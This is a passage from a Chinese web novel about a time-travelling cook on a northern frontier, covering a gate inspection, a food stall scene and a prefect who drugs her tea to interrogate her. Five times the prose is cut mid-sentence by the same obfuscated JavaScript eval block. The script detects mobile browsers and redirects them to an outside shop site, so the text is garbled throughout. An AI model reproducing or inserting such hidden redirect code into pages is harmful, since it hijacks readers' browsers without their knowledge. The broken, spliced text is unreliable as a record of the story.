店小二热情地出门迎接，并帮着仆从卸货。 “这位姑娘，您也住店？”店小二弯着腰，对柳千金一行人恭敬地询问道。 “当然了。”柳千金甩了甩手帕，身姿婀娜，腰肢轻摆，直奔店内。 店小二于是将目光投向了她身后的铁塔壮汉。 壮汉们跋扈惯了，也跟着就要往里进。 “哎，您的令牌？”店小二急了，伸手虚挡。 “什么牌？我们付现银，就住一晚，要上房。” 柳千金的头饰繁复华丽，随着步子前行微微颤动，闪烁着各种珠宝的光泽。 唇若点绛，绽放无尽风情。 明眼人一看就知道，定是不差钱的主顾。 “真对不住，客房满了。”店小二语气里充满了惶恐，态度也十分诚恳。 但他身形灵活地左挪右闪，愣是把客人堵在门外。 29. 例行检查 “夜色既深，小二行个方便，让他们安顿下来吧。” 桂枝儿今日实在劳累，没心情看双方耍宝，做个和事佬，息事宁人。 店小二眼珠一转，瞄向桂枝儿身后的驼色棉袍侍从。 见其没有反对的意思，马上又变了一幅脸色，点头哈腰迎客。 “既然是贵客的朋友，开一间上房。” “哼，狗眼看人低。”壮汉啐了一口，被柳千金制止了。 “多谢小娘子。”柳千金行礼。 桂枝儿这一觉睡得很不踏实，中途醒了好几次。 梦里，沙井田浑身是血地喊着冤枉，张大山与娇妻一身喜服，诡异又安静地冲她笑着作揖。 甚至她在龙沙镇的荒漠里徒步，嗓子直冒烟。 好不容易进入一家小店，店主说有玉米水，桂枝儿大喜过望。 她猜测到底是浓稠的玉米汁还是清淡的汤，结果店主端上来一碗棒子尖尖上的玉米须。 “你要的玉米水嘛，就是玉米穗儿嘛。” 北境人的口音真重。 桂枝儿被气乐了，醒来哭笑不得，又哈欠连天。 翌日，桂枝儿带着一马车货物，柳千金带着大笔银票，满载而归。 返程的路很快，桂枝儿有些归心似箭。 她不放心自己的卤味店，原是逢五逢十开店，这一走，就歇业了两轮。 还未抵达中心府城的南门，一座形状像馒头的窑洞在郊外旷野，拔地而起。 “这炉窑，怎么没日没夜在烧啊？”柳千金看到大片烟尘，用丝帕捂紧了鼻子。 南方来的官员，就是奇怪。 原先一个马知府，能吃能喝能收税。 这新来的刘知府，没安分几日，又搞起了陶瓷烧制。 听说最喜欢什么灰白釉，不仅要黏土烈火焚烧，还跟大家伙收集灰白色的石头。 “吁。”桂枝儿叫停马车，下来一看。 眼前的炉窑，火膛和窑室似乎是一体的。 火焰先冲到窑顶，受到后方烟囱的吸力倒向底部，再慢慢排出，极大提高了内部温度。 桂枝儿一眼就看透，陶瓷只是障眼法，大概率是烧制水泥用的。 “知府大人私底下在征集石头，叫什么灰白玉岩。”柳千金见桂枝儿关注，跟她分享道。 勾栏场所，人员密集，本就消息灵通。 “有人上交吗？”桂枝儿有些心虚。 灰白玉岩是她瞎编的名字，实际就是石灰石。 制作水泥的原理很简单，将石灰石、粘土磨碎，煅烧成熟料，最好添些炼铁后剩的矿渣。 至于如何改良、应用，使其坚固不裂缝，就需要在实践中慢慢摸索了。 桂枝儿的秘方里，真真假假编了好多字。 试错成本越大，秘方越不值钱，可能知府大人就懒得再搭理她这一介草民了。 “多的是人凑热闹。”柳千金掩面笑道，“有那胆大的猎户，直接跑到梅山黑龙泉附近探寻。” 重赏之下，必有勇夫。 嚯，梅山地形复杂，确实有大量石灰石存在。 桂枝儿按了按太阳穴。 马车晃悠到南门口时，守城士兵眉飞色舞。 “桂小娘子回来啦，有好吃的了！” “哎呦这些天嘴里淡出个鸟味，真是馋死了，我留着例钱就等桂小娘子回城。” 人民群众淳朴的呼声让桂枝儿忍不住笑了。 连日的疲惫一扫而空，什么查案打仗，都不是她的本职，她就老老实实做一个卤味店店主。 炖出一碗人间烟火。 “停步，例行检查。” 熟悉的声音传来，桂枝儿讶异地挑了挑眉。 抬头一看，男子身材高大魁梧，肤色黝黑。 正握着长枪，绷着脸神情冷峻，毫不留情地挥挥手，军士们便团团围住马车。 “见过蔡统领。”桂枝儿有些摸不着头脑。 实在是因为，这围拢的士兵不是冲她来的。 “您不是理应在北门当值吗？来南门堵我作甚？”柳千金掀开厚重的挡风帘，语气中带着不耐烦。 她带着紫貂皮和丝绵缎子做的棉手捂子，双手伸在里面懒得拿出来，甚是暖和。 一双桃花眼顾盼生辉，嘴唇点缀着朱红口脂，显得珠光宝气，雍容华贵。 “例行检查。”蔡淼还是这冷硬的四个字，仿佛锯嘴的葫芦。 他近日去邀月楼，依旧见不到柳千金的面。 老鸨许是嫌弃他打赏的钱少，也只是和稀泥，不料柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712104|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千金竟背着他跑不见了影。 “从何而来，有路引吗？” 蔡淼越想越急，黑脸愈发阴沉。 落在柳千金眼里，则完全是一副仗势欺人的模样。 她反而不气了，点搽妆饰，笑靥如花。 “大人，奴家从凌河县回来，有府衙户籍处办的短途路引。” 自古民不与官斗。 柳千金扭头，对身后一名壮汉打手低声嘱咐了几句。 然后抚了抚发梢，巧笑着对蔡淼问道：“不知大人还有何吩咐？” 蔡淼拿不准柳千金的想法。 他依旧不肯放行，脚一步步移过去。看着柳千金故作谄媚，但一片冰冷的眼底，只觉兜头一盆冷水浇下。 看来是逼得太急，惹人生厌了。 蔡淼有些无奈。 他早年从军，手中巨斧一抡，能将长矛劈成两截，师傅说他极有天赋。 “你小子嘴笨又不爱说话，在官场上总要吃些亏。” 师傅曾乐呵呵地宽慰他：“凭你的真本事，当个偏将足以，娶媳妇生个大胖小子，一辈子平平安安。” 他偏要上进。 而立之年就做到掌兵将，只待调到凌河统领一线驻军。 若有卓越军功，将来再担一个虚设的经略大将军名头也并非不可能。 可却空降了一位什么金科武状元。 年纪轻轻就是少将军。 “大人，可否让我的人先回邀月楼报备一下，免得妈妈担心。”柳千金试探着问道。 蔡淼依旧陷在情绪里不能自拔。 他见新来的毛头小子冲劲满满，仿佛要在这穷乡僻壤大干一番，建功立业。 多愚蠢啊，达奴人不能不剿，不能全剿，全剿了，朝廷还会再给北境拨钱拨粮吗？ “大人？大人！”柳千金不由拔高了音调。 蔡淼这才从恍惚中回到现实，看了一眼盛装打扮的柳千金，心底爱恨交织。 他摆摆手，对手下说道：“没问题就放人吧。” 然后直视柳千金的眼睛：“难得遇到，我们单独谈谈。” 柳千金觉得荒谬又尴尬。 男未婚女未嫁，既无父母之命，又无媒妁之言。 做甚么要死皮赖脸缠着不放！ 30. 脆皮五花 “听说了吗？南门……险些厮打起来！” “这事儿我知道，我二舅爷的表妹家的帮工，当时正好出城。” “哎呦，你快说说咋回事。” “据说啊……是蔡统领去邀月楼没付银子，花魁亲自来讨债啦！” 风言风语如同圆滚滚的、冻不死的小麻雀，在屋檐、墙缝四处飞，寻到些草籽、小米便欢快地啄食起来。 腊月二十三，过小年。 头戴鹿皮帽的男人提着灶君和灶君夫人的画像，在桂记卤味店门口排队。 “给小娘子送幅灶神像，保佑来年衣食有余。”他一边嗑着瓜子一边竖起八卦的耳朵。 “我带了点糖瓜给小娘子。”妇女跺了跺脚，刻意显示出她新做的棉鞋。 “今日怎的，没见到蔡大娘呢？”她东瞅西看。 这句疑问，有点嚼头，每一只竖起的耳朵都听出意思了。 往常，蔡大娘可是桂记卤味店的常客。 冷风将小店招牌旗子卷得“哗啦啦”响，桂枝儿并不在意店外的喧嚣，她正专心刮除五花肉表面的粗盐。 灶台边是自制的小烤炉，今日要卖的脆皮五花肉能成型，全靠它的发挥。 桂枝儿在切肉时十分仔细，用刀切至最末端肥肉处，却不把皮切断。 她将腌料涂抹均匀，用细杨柳枝条固定住肉。 表面擦干，刷上一层白醋，再撒上一层粗盐，这就开烤！ 油脂和火苗窜动，桂枝儿时刻紧盯着烤炉。 早一秒不够香，晚一秒就会焦。 “滋啦。”炭火忽明忽暗，油星子迸溅。 烤好的五花肉是一大整块，表皮酥脆，看起来油汪汪的，让人食欲大开。 最后一步，为其撒上调料，方可皮酥肉嫩，越嚼越香！ 木匠敲打的木架上，都是桂枝儿精心收纳的珍宝。 这瓶胡椒是与波斯商人在海船上交易所得，那瓶孜然芹是在南疆的马场农户家收集。 有的一时踌躇未能及时买下，再次无意中获得，配齐卤料包，心底自然欢呼雀跃。 “干脆调料自助吧。”桂枝儿愉悦地笑眯了眼。 一个好厨子，能遇到欣赏她手艺的食客，总会变得慷慨大方。 她裁好油纸用于打包，正准备掀开帘子喊上一句开业，外面的喧闹声却更大了。 “蔡大娘，给您拜个早年。”穿着新棉鞋的妇女拔高了嗓门。 小道消息传得很快，昨日在南门，城防掌兵将蔡统领与邀月楼的花魁拉拉扯扯，引发好大一阵罗乱。 最终，竟是邀月楼的打手把蔡大娘请过去，才平息了这场闹剧。 蔡大娘面对种种打量的视线，阴沉着脸，不声不响。 她嘴唇紧闭，脸上皱纹形成一道道不悦的弧线，脚下每一步都踩得扎实有力。 想看她的笑话，没门！ “年关都忙，要是办喜事，可得招呼大家。”嗑瓜子的男人也帮腔了一句。 这一句话算是捅了马蜂窝。 蔡大娘脸色阴转多云，几乎要滴出水来。 “我怎么不知道谁要办喜事？”她昂着脖子痛骂，“难道你想和离再娶，也不怕你家母夜叉撕了你。” “哎这，哎跟我有啥关系。”嗑瓜子的男人涨红了脸。 他一瞬间唯唯诺诺，后悔没管住自己爱八卦的嘴。 “哼。”蔡大娘如同战神一般，用犀利的目光横扫整只队伍，排队众人看天看地，纷纷错开目光。 唯有穿着新棉鞋的妇女不屑一顾，撇撇嘴。 在她看来，蔡统领三十多岁还讨不到媳妇，与蔡大娘说一不二的做派有很大关系。 谁家小丫头不怕遇见个刁钻婆婆呀？ 妇女眼珠子一转，再次挑衅道：“蔡大娘今日来得晚，恐怕排不上号了哦。” “用不着操心。”蔡大娘高声炫耀，“我提前定了堂食。” 而后，在众人或诧异或羡慕的目光中，径直走进了屋。 蔡大娘没唬人，她确实有预定。 她想通了，省吃俭用这些年，比起让儿子给狐媚子花钱，还不如自己该吃吃该喝喝。 让狐狸精进门？不可能！ “大娘您稍等，煲的皮蛋瘦肉粥马上就好。”桂枝儿开门迎客，笑意盈盈。 她先简单打个招呼，然后手不停歇地为排队众人分餐。 新出炉的脆皮五花肉那叫一个香！ 众人眼睛都瞪直了，满脑子想象着，咬一口层层脆皮，外面酥酥的里面嫩嫩的…… “嘶溜。”不知道谁在咽口水。 “调料自助，大家随意撒自己喜欢的口味。”桂枝儿热情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712105|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语调更是富有感染力。 “嘿！真让随便挑啊？”挤在第一位的人兴奋不已。 那模样，似乎是求神求到了上上签。 “我要孜然芹和辣粉，甭管烤的炸的，用这俩指定不出错。”来者不自觉地分泌唾液，垂涎欲滴。 然后又遗憾地叹了口气，若是不限购就好了，他还想再买一份什么番茄汁的，酸酸甜甜。 “可以双拼哦。”桂枝儿笑眯眯道。 屋外人潮汹涌，没抢到的紧迫地盯着长队，生怕排到自己时售罄。 抢到的则喜上眉梢，恨不得当即就咬一口尝尝。 屋内的蔡大娘却怎么也高兴不起来。 眼前香脆诱人的五花肉块，在碟子里摞成一个小山尖，旁边是特意配的苏子叶和生菜。 菜包肉，荤素搭配，香而不腻。 “多加了些配菜主食，就这么贵。”蔡大娘心里直嘀咕。 她一早就知道堂食比零售昂贵，所以从没打过进屋吃的主意，可昨儿实在是气狠了。 把儿子与那不要脸的狐狸精分开，路过卤味店得知今日营业，蔡大娘一时上头就交了定金。 她舀一勺肉粥，米粒被煮得烂熟，与水融成柔和的乳白色。 粥面上不仅有切碎的小葱，还有黑亮的皮蛋，瘦肉丝则铺在二者之间，尝上一口回味无穷。 “就是太贵了。”蔡大娘依旧嘟囔着。 这道菜还使她想起另一件小事。 儿子蔡淼小时候不爱吃蛋，可老醋松花蛋是北境独有的美食，一个蛋两个铜板，金贵着呢。 “不准挑食，吃蛋才能长身体。”蔡大娘面对年幼蔡淼的抗拒，很不理解。 儿子说皮蛋有怪味，一吃就想吐，身上还会起小疹子。 “你多吃吃就习惯了。”蔡大娘不信，疑心是小孩子扯谎。 她把皮蛋剁碎了混到菜里，小蔡淼不肯吃，又拌进饺子馅，小蔡淼也不肯吃。 “一个蛋两个铜板，我都不舍得吃，全留给你！”蔡大娘急得给了儿子一巴掌，“哪有什么怪味，你今天不吃就别想再吃饭了。” 小蔡淼皱着眉，一口一口咽下去。 若不是吃蛋，儿子怎能像如今这般长得魁梧雄壮。 蔡大娘满意地笑了。 儿子向来听话，这次也不会例外。 31. 泡茶更衣 刑房的高墙厚壁，隔绝了外界寒风和光亮。 青苔是微微泛黄的绿色，夹杂在石砖缝里，见证了过往囚徒的哀鸣。 “官爷，小的不敢了，小的知错了。”沙井田蜷缩在角落，嘴角和鼻孔里全是血。 身下的茅草垫子干枯粗燥，凌乱不堪。 他本就瘦小，如今近乎皮包骨头，眼神空洞，嘴里喃喃呻吟。 “说！你是怎么和外族联系的？”蔡淼挥鞭厉喝。 前几日在城门口闹了那么一出，蔡淼只觉面上无光。 恰好押解的犯人到了中心府衙，他自请审理，以便躲个清闲。 鞭子抽打在红肿的背部，沙井田浑身一抖，丑陋的抬头纹拧成了打不开的结，体力不支，竟又晕了过去。 “啐。”蔡淼不耐烦地吐了口唾沫，扭头问狱卒，“主犯呢？” “回大人，知府老爷说，那个达奴人他要亲自审理。”狱卒战战兢兢。 知府老爷说的话就是圣旨么。 官大一级压死人，蔡淼内心有些不忿。 男人图的无非权和钱，不往邀月楼里砸银子，连一个小小花魁都敢躲着他。 蔡淼看着鞭子末梢滴落的血，感到胸口气血翻涌。 尤其临近年终军绩考核，上面总跟他说：“贵人自有安排。” 可大梁官场最近云谲波诡，天有不测风云，贵人也可能死得很快。 蔡淼决定为自己安排安排。 跳出小小的刑房，中心府衙依旧宽敞明亮。 新岁的炮竹声还未响起，门前已经悬上了松枝、柏叶杂皂荚。 春节之于知府，既要应付繁缛的迎来送往，还要关心其治下的民生福祉。 “在北境也好，不用考虑仕途升迁这回事了，适合养老。”管家低声耳语，对桂枝儿促狭一笑。 毕竟这里是大梁最荒凉偏僻的“流放地”。 “马知府可不这么想。”桂枝儿锐评。 前任知府马碌不忘初心，即使被贬谪至此也积极运作，想来现在已到杭京，忙活着给后台靠山准备拜年礼。 如今的官场，有人钻营拍马贪污受贿，有人急流勇退独善其身。报喜不报忧者多获嘉奖，直言进谏反而没落得好下场。 不知刘善渊是哪路人？ 桂枝儿跟随管家轻车熟路地绕过天井，来到二堂偏院。 “您忙吧，我自个儿等着大人就成。” 对于管家的刻意讨好、拉近关系，她不置可否，但伸手不打笑脸人。 “我们老爷去城郊举行鞭春礼了，封印过后，衙门是不开工，可该忙活的事儿一样没少。” 管家一如既往絮絮叨叨，话里话外透漏出对刘善渊的心疼。 不似普通知府的师爷，倒像是从小看着主子长大的家仆。 所谓封印，就是各级官府在过小年前的三日内择一吉日，封闭印信，停办公务。 封印后，由长官带队，到民间访贫问苦，体察民情。 紧接着的立春之日，知府将在附近田里扶犁亲耕一至二垅地，以祈丰年，同时鞭打春牛，祭祀先农。 治大国，若烹小鲜。 永靖年间大梁开国帝王立下的政策，沿用至今。 只是如今，大多数官员仅走个形式，封印后便万事大吉了。 “让小娘子久等了。” 温润的语调似山间潺潺溪流，刘善渊快步走来。 他着绯色绫袍，上绣竹叶纹，顶戴乌纱帽，靴子上还沾了些乡间泥土。 虽一身官服却不盛气凌人，似怀治世之韬略，所以性子沉稳端方。 “见过大人。”桂枝儿回身，浅浅行个万福礼。 凌河县令托她带的礼，她丝毫没沾手，直接让随行的驼色棉袍侍从拉回中心府衙。 审理犯人与提交卷宗也不用她操心。 不知刘善渊唤她何事。 “不必多礼，进屋谈吧。”刘善渊看了一眼桂枝儿苍白的脸色又道，“给小娘子拿个暖袋，上些热茶点心。” 他倒是细致。 桂枝儿心中暗暗诧异，这两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712106|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日经期，兼之北境天寒地冻，确实有点怕凉。 从偏院外间到里屋，别有洞天。 知府大人下榻的地方陈设十分简洁，当中摆着楠木抱鼓墩书案，通体平素，笔墨纸砚一应俱全。 背后的榉木书格简洁舒适，花纹流畅。 “咦？”桂枝儿的目光被其中一个摆件吸引，“这是……天竺的菩提树？” “小娘子果真见多识广。”刘善渊微微一怔。 雕刻菩提的叶子呈心形，枝条伸展，紫红色的无花果生动活泼。 善结菩提，缘开因果。 见他不欲多谈，桂枝儿识趣地没有多问。 刘善渊亲自给桂枝儿换了红茶，慢慢地泡着，杯碟晃出一点茶水，他又用帕子小心擦拭。 桂枝儿知他看似慢条斯理，脑子里或许在翻江倒海。 “骆县令挑的笔墨字画您收到了？”桂枝儿为了打破沉闷的气氛，主动问道。 问完又有些懊悔，送礼受贿似乎不是什么上的了台面的事，值得摊开来说。 “呵。”刘善渊轻笑，声音从喉咙深处溢出，低沉而有磁性。 “没甚么稀奇东西，仅那幅《山水会棋图》的绢本设色画，还算珍品。”他兴致缺缺。 “还有些绸缎胭脂，应当是送小娘子的？”刘善渊抿了一口茶，双眸深邃。 他身着官服，若一块深红的血珀，俊朗的侧脸靠近桂枝儿，却又若即若离。 “劳烦大人一并处理了吧。”桂枝儿同样不感兴趣。 她只好奇骆县令这么卖力地讨好上司、看重春闱，是何用意。 “他急着回南林府衙，年度政绩考核里，钱粮赋税、纳贤取士、长官态度都很重要。” 刘善渊仿佛看穿了桂枝儿所想，轻描淡写地点评道。 三言两语，解答了她的疑惑。 “小娘子请喝茶。”刘善渊起身，“我去内卧更衣。” 他抛下这句话就离开了。 不一会儿，屏风后响起“哗啦啦”的水声，热雾缭绕。 32. 指点一二 灰苍苍的屋檐下，冷风挟裹着浓重的寒气。 心细如发的管家远远盯着二堂偏院，见小厮急匆匆跑出来，赶忙截住。 “老爷有何吩咐？”管家招招手询问。 “刘老爷说给桂姑娘换红茶，补血益气，驱寒暖胃。”小厮转述道。 “知道了，我去取。”管家眼中一瞬间闪过了异样的光芒，旋即又恢复平静。 正山小种带些松烟香，泡开后口感浓郁，颜色红亮，是红茶中的珍品。 若是混了些别的，也不容易被发觉。 屋内，桂枝儿围着火炉干坐发呆，在暖手的同时抿了几口茶。 茶中有烟熏香气和坚果味，醇厚浓烈，不知是何品类，但挺对她的胃口。 屏风后，轻盈的热气袅袅升起，似薄纱飘散。 舀水用的铜扁壶，发出细微声响，沐浴结束后，刘善渊再用细葛布仔细擦拭。 桂枝儿习武本就听觉敏锐，闲坐听音，浑身的疲惫都被化解。 “让小娘子久等了。”同样的话，他又说了一次。 桂枝儿抬头，双眸因为讶异瞬间放大。 目之所及，男子身着规矩但简洁的绸衣，如春风拂过湖面，温柔到激不起一圈涟漪。 刘善渊一身青衫，面容俊秀，光看样貌像是那在私塾里苦读诗书，正预备考取功名的少年郎。 他竟堂而皇之地揭下了人皮面具。 “啊……”桂枝儿手足无措地放下茶杯，“不知大人今日唤我，究竟所谓何事？” 许是火炉中的炭火烧得很旺，她有些头晕。 “没什么，就是参照秘方，遍寻不见灰白玉岩，烧制进展缓慢。”刘善渊直言，“想请小娘子指点一二。” 眼见着他靠近，桂枝儿这才意识到，他的身形不似传统男子那般富有阳刚之气，更倾向于瘦削匀称。 可惜她爱莫能助。 “我也不会做呀。”桂枝儿盯着他波澜不惊的面容，近乎天真地说道。 她感觉自己的思维正在停滞，仅凭本能脱口而出。 “嗯？”刘善渊嘴角上扬，循循善诱，“那么，是谁教导小娘子这些本领的？” 桂枝儿不语，目光扫向他鸦青色的发带。 发带简单束住了柔顺如丝的长发，其中一部分自然垂落，透出几分随性洒脱。 “你真好看。”桂枝儿好奇地伸手，揪住他乌发中夹杂的几缕银丝，“这是少白头吗？” “嘶。”刘善渊被拽得头皮一紧。 他揉了揉太阳穴，无奈地掰开桂枝儿乱摸的手指，正色道：“莫胡闹，先回答我的问题。” 曼陀花散伤身，他没敢多下。 若是按照常规剂量，这会儿只怕不容桂枝儿放肆。 她早就神情呆滞，有问必答了。 桂枝儿撇撇嘴，并不在意他的制止。 男子肌肤细腻白皙，犹如陶瓷娃娃，她随性地向青衫绸衣的领口伸去。 “住手！”刘善渊被冰得一激灵，咬牙切齿地呵斥道。 是水不够暖还是炉火不够旺，手竟然这样凉。 种种念头一闪而过，刘善渊已经放弃今日的讯问了，他抬手击打睡穴，希望桂枝儿能安静一会儿。 “啪。” 桂枝儿惯性使出反向擒拿，一只手臂绕过他的颈部，同时，另一只手抓住前肘。 形成牢牢固定的锁颈姿势。 她左看右看，嗅到刘善渊身上残存着澡豆的香气。 沉香与青木香交错，似乎还萦绕着梨花味，忍不住试探性地啄了一口。 “桂小娘子！”刘善渊气急反乐。 他的衣衫滑落大半，正松松垮垮地搭在肩上。他的脸有点红，暗中运转内功没有挣脱，还有些喘。 简直倒反天罡。 “下次不要系扣，好难解。”桂枝儿抱怨道。 还有下次，成何体统！ 刘善渊迷蒙间闭上了眼睛。 菩提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712107|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树叶似是在摇曳，如今已是寒冬，他却仿佛感到春风徐徐，大雾散去。 他什么也做不得，容她上下其手辱玩了一通。 刘善渊合拢衣衫，轻柔而犹豫地问道：“你果真不喜欢胭脂绸缎？” “嗯？”桂枝儿抬眸。 “新岁穿新衣，我安排人给你做一件。” “大人泡的茶不错，能送我点吗？”桂枝儿不置可否，转而提出了新的要求。 她手中把玩着长发，神情明朗艳丽。 刘善渊一愣，屏住呼吸，旋即脸上露出类似羞愤的神情，红晕漫上耳根。 “你再歇会儿。”他推开桂枝儿，三步并作两步，披上外袍头也不回地走出侧卧。 背影怎么看都有落荒而逃的意味。 温暖被瞬间抽离，取而代之的是刺骨寒风。 刘善渊呵出一口白气，耳朵变得麻木，却能听见自己心跳“咚咚”的声音。 阳光被云层遮挡，树干苍劲，挂着未融的雪花。 他的表情变得冷淡，嘴角线条紧绷。 “唤两个丫鬟进去伺候，从库房取一个正山小种的红茶饼，要原装的。”刘善渊吩咐道。 管家低声应承。 他直觉主子的心情很复杂，虽然面上隐隐有些被冒犯的愤怒，但又潜藏着几丝喜悦。 达到一种微妙的平衡。 屋内，桂枝儿在铜质鱼洗中捞了捞水。 嫌弃清水洗得不够干净，取皂片，双手合十，掌心对掌心相互搓揉。 她琢磨着，近来做任务效率极低，不能再这么干等下去了。 在北境做完最后一顿年夜饭，就随着参与春闱的考生一同进京。 广阔天地，大有可为。 跟这些官场上浸润了不知几载的老狐狸，以及披着好几层皮的小狐狸们打交道，一不小心，就会把自己栽进去。 “这次危险预警倒是很及时呢。” 桂枝儿敲了敲脑海里的系统。 33. 花魁赎身 “是啊，要不是告诉你茶里下了药，你还以为人家色''诱你呢。”系统无情吐槽。 “咳咳咳。”桂枝儿心虚地掩饰。 “我提醒一下，任务停滞太久，再没有进展，你就会被时空管理局流放。倒计时公历60天，空间异能将逐渐关闭。” 系统冷冰冰地说道。 而后“滋”一声，系统下线。 徒留桂枝儿一人，胃部痉挛一般猛烈收缩，不知是不是心理作用，有些头晕恶心。 在这个世界安逸太久，她都快忘记被任务进度支配的恐惧了。 绑定系统最初，她被随机分配到一个海岛。 冒着狂风与暴雨，驾驶着简朴且不太结实的小船，桂枝儿跟当地渔民们学习撒网捕鱼。 哪里的海水泛了泡沫，哪里就可能有鱼聚集。 “呕。”波浪翻滚，她顶不住眩晕失衡，吐得七荤八素。 更别提解剖鱼时，要忍受那刺鼻的海藻和鱼腥味。 “你做的炖鱼很烂，进度为零，新手大礼包无法发放。”系统不耐烦地警告道，“没有药品，伤口发炎，很快你就会死在这里。” 桂枝儿面色苍白，冷汗浸湿了被子。 屋顶漏雨，还有几只青蛙在潮湿阴暗的角落里聒噪。 她唯有挣扎着坐起来，把捕回来的鱼敲晕，重复用菜刀的刀背，逆着生长方向刮去鱼鳞。 “咕嘟咕嘟。”简陋的砂锅内，汤汁翻滚。 她就这样一步步，用积分兑换异能，获得了可以适当挑选时空的权利。 “古代，盛世，太平。”桂枝儿心里默念着关键词，“不应当毫无进展啊。” 食材品质新鲜，酸甜苦辣口味平衡，煎炒烹炸技巧丰富，既有新颖创意也有地方风味改良…… 还有什么是被她忽略的？ “桂小娘子，奴婢可以进来了吗？”丫鬟的敲门问询声将她拉回现实。 走一步看一步吧。 当务之急，是摆脱知府大人的监控，选个合适的时机，离开北境。 半个时辰后，日头西沉。 桂枝儿裹紧棉袍，在冷风中微微踮起脚尖，沿着街不紧不慢地往邀月楼走去。 她没有抬头，但眼睛已经将周围都观察了一遍。 耳朵没听到跟踪的脚步声，但她依旧很谨慎。 从现在起，她必须确保万无一失，扼杀一切潜在的失败因素。 邀月楼门前，红灯高悬。 花娘和小倌们脸上挂着娇媚的笑容，热情地招呼着过往行人。 丝竹之声不绝于耳，脂粉与美酒香勾勒出暧昧的轮廓。 唯有这里，一年三百六十五天从不停业。 “小娘子来听曲儿吗，一会儿可是砚台公子的新戏！”揽客的小倌身着艳丽衣裳，手持团扇，巧笑嫣然地迎上前来。 桂枝儿站定，摇了摇头。 她摸出一张票子，问道：“你们千金姐姐今晚有人包场吗？” “没听说。”小倌嘟着嘴回道。 而后他又眨着眼睛神秘地补充：“现在谁点她，就是得罪了统领大人呢。” 统领大人，自然是中心府衙城防掌兵将蔡统领！ 流言已经传得满城风雨，蔡统领摆明了要赎走柳千金当外室，只是一来钱不趁手，二来花魁本人不乐意。 老鸨亦是左右为难。 “楼上开一个厢房，要安静点的，剩下的赏你。”桂枝儿财大气粗。 “谢谢小娘子。”小倌轻摆腰肢，笑嘻嘻地走了。 先前答应了柳千金要带她一起进京，那便不能言而无信。更重要的是，桂枝儿想借她打个掩护。 今日，刘知府既然敢以真面目示人，要么不准备留自己活口，要么将逼迫自己为他所用。 新年钟声敲响前，得演好最后一出戏。 片刻后，柳千金身姿婀娜，步履轻盈地走进厢房。 她依旧光彩照人，衣袂上绣着的繁花，随着她的步伐展现出万种风情。 只是微微蹙起的眉峰，拧着帕子的手，暴露了内心的焦虑。 “你要进京？”柳千金低呼，而后谨慎地扫视一眼四周，“路引可不好弄。” 大梁律令，凡军民人等往来，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712108|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出百里者即验文引。 若是州府内部流通比较自由，县衙文书即可操作，但进京，必须要有主政长官签字。 “这个你放心，我有办法。”桂枝儿指尖轻点桌面，运筹帷幄，“只是如何赎你……” “若是平时，奴家自然不愁。”柳千金胸脯起伏，气得呼吸不畅，“当红牌这么久，被打赏的头面和银子，足够我赎身。” 她攥紧了手指，用捣碎花瓣摘固色的指甲深深陷入掌心。 “看在这些年的教养情分上，妈妈不会拦我。更何况，现在小砚台风头正劲，足以接班。”柳千金补充道。 这点桂枝儿倒是有所耳闻。 女子学戏，先天不足。 天葵月经是一难，红颜易老是二难，嫁人生子是三难。想成名角，难上加难！ 邀月楼捧出一个年纪更嫩的小倌，对柳千金的倚重就少些。 